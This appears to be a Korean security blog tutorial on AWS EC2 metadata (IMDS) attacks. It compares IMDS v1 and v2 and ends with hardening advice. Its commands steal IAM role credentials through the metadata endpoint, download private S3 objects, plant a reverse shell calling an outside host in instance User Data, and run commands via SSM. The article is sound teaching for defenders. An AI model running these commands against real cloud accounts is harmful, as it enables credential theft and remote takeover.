[IMDS] AWS Instance Meta-data Service를 활용한 공격

AWS Instance Meta-data Service (IMDS)

AWS의 EC2 Instance에는 Instance Meta-data 라는 데이터가 존재합니다.

 

Instance Meta-data는 Application이 실행 중인 Instance를 구성 및 관리하는데 사용할 수 있는 EC2 관련 데이터입니다. 그리고 Instance Meta-data Service(IMDS)는 EC2 Instance의 Meta-data에 접근할 수 있는 서비스를 의미합니다.

 

AWS IMDS는 Version 1(v1)과 Version 2(v2)가 존재하며, EC2 Instance 생성 시 옵션에 따라 사용 버전을 선택할 수 있습니다. Default 설정은 아래 화면에 보이는 것처럼 "선택"이고, "선택"으로 설정 시 템플릿의 설정을 따라하거나 기본 API 값을 사용합니다.

AWS EC2 생성 시 메타데이터 설정 방법

 

참고로 AMI(Amazon Machine Image)는 Image에 따라 "선택" 시의 IMDS 버전 지원 여부가 달라집니다. 모든 AMI를 확인하지는 않았고 2개의 대해서만 확인을 하였습니다.

구분	IMDS v1 지원 여부	IMDS v2 지원 여부
Ubuntu	O	O
Amazon Linux	X	O

 

IMDS v1

IMDS v1은 별다른 인증 없이 GET 방식으로도 사용이 가능합니다.

$ curl http://169.254.169.254/latest/meta-data/

IMDS v1

IMDS v2

IMDS v2는 PUT Method를 통해 Token을 생성한 뒤, 해당 Token을 이용하여 Instance Meta-data에 접근할 수 있습니다.

$ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
$ curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/

IMDS v2

 

정리하자면, IMDS v1은 추가적인 인증 없이 EC2에서 전달된 모든 요청을 수행하며, IMDS v2는 정상적인 절차를 통해 발급된 토큰과 함께 전달된 요청만 수행한다는 차이점이 있습니다.

---

AWS IMDS (Instance Meta-data Service)를 활용한 공격

여기까지만 보면, IMDS v2는 인증 절차가 추가됐기 때문에 더 안전하구나! 라고 생각할 수 있습니다.

 

그렇다면 IMDS로는 뭘 할 수 있을까요?

만약 EC2 Instance에 AMI Role이 할당되어 있을 경우, 해당 AMI Role의 권한을 갖는 AWS Credential을 IMDS를 통해 획득할 수 있습니다.

EC2에 할당된 IAM Role

할당 되어 있는 IAM Role 확인

$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

IAM Role의 AWS Credentials 확인

$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2_TEST

 

획득한 AWS Credential은 aws CLI를 통해 등록할 수 있습니다.

$ aws configure --profile ec2_test
AWS Access Key ID [None]: AS***P
AWS Secret Access Key [None]: i9***a
Default region name [None]: ap-northeast-2
Default output format [None]: json
$ vi ~/.aws/credentials
+ aws_session_token = IQ***0=

 

그리고 아래의 명령어로 해당 AWS Crendential이 유효한 지도 확인할 수 있습니다.

$ aws sts get-caller-identity --profile ec2_test
{
    "UserId": "AR***2",
    "Account": "04***6",
    "Arn": "arn:aws:sts::04***6:assumed-role/EC2_TEST/i-0e1410fe4b0ae95c2"
}

 

현재 EC2_TEST IAM Role에는 "AmazonS3ReadOnlyAccess" 권한이 부여되어 있습니다.

 

즉, 획득한 AWS Crendential을 이용하여 AWS Bucket 내 Object 리스트를 확인하고 파일 다운로드가 가능합니다.

$ aws s3 ls --profile ec2_test
2023-08-15 18:11:33 private-ec2-test
$ aws s3 ls --profile ec2_test s3://private-ec2-test/
2023-08-15 18:12:11        545 merge_file.py
$ aws s3 cp --profile ec2_test s3://private-ec2-test/merge_file.py ./
download: s3://private-ec2-test/merge_file.py to .\merge_file.py

 

EC2 Instance에 할당되어 있는 권한에 따라 정말 다양한 악성 행위들이 수행될 수 있습니다. 여기서는 2가지 예시만 추가로 들어보겠습니다. 

※ 추후에 위험한 권한이 무엇이 있는지 추가 조사할 예정

 

1. User Data 내 Reverse Shell Injection

※ User Data 수정은 instance가 중지된 경우에만 수정할 수 있음

※ 필요 권한 : "ec2:Describe*", "ec2:StartInstances", "ec2:StopInstances", "ec2:ModifyInstanceAttribute"

$ aws ec2 stop-instances --instance-ids [instance-id] --profile ec2_test

$ vi reverse_shell.sh
#cloud-boothook
#!/bin/bash
bash -i >& /dev/tcp/hacksms.tistory.com/80 0>&1

$ base64 reverse_shell.sh > base64_shell.sh

$ aws ec2 modify-instance-attribute --instance-id=[instance-id] --attribute userData --value file://base64_shell.sh --profile ec2_test

$ aws ec2 start-instances --instance-ids [instance-id] --profile ec2_test

 

2. AWS SSM(Systems Manager) 내 Instance의 명령어 실행

 

SSM 명령어 수행 권한 확인 

$ aws ssm describe-instance-information --output text --query "InstanceInformationList[*]" --profile ec2_test

명령어 실행

$ aws ssm send-command --document-name "AWS-RunShellScript" --comment "Command Test" --targets "Key=instanceids,Values=[instance-id]" --parameters 'commands=export'
$ aws ssm list-command-invocations --command-id "[command-Id]" --details

---

결론

계속 언급했던 것처럼 IMDS v1는 추가적인 인증 없이 Instance Meta-data에 접근할 수 있습니다. 만약 공격자가 EC2 Instance를 통해 169.254.169.254로 요청을 보낼 수 있을 뿐만 아니라 결과를 받아볼 수 있고 EC2 Instance에 위험한 IAM Role이 부여되어 있다면, 위와 같은 방법을 통해 실제 보안 사고로 이어질 수 있습니다.

※ AWS 사용자 계정에는 IP 제어를 통한 접근 제어가 이뤄질 수 있으나, EC2의 IAM Role에는 접근 제어가 되지 않을 가능성이 높음

 

SSRF, Reverse Proxy 등을 통해 이러한 공격이 발생할 수 있으며, Command Injection은 버전(v1, v2)과 상관 없이 IMDS를 통해 AWS Crendential을 획득할 수 있어 Lateral Movement(측면 이동)에 이용될 수 있습니다.

 

정리하면 v1보다 v2를 쓰는 것이 훨씬 안전하지만, 이는 근본적인 대응 방안이 될 수 없고

v2 사용과 함께 EC2 Instance에 최소한의 IAM Role을 부여하는 것이 가장 좋은 방안이라고 생각합니다.

---

Reference

AWS Instance Meta-data SSRF to RCE

인스턴스 메타데이터 및 사용자 데이터 - Amazon Elastic Compute Cloud

EC2 Instance Metadata 보안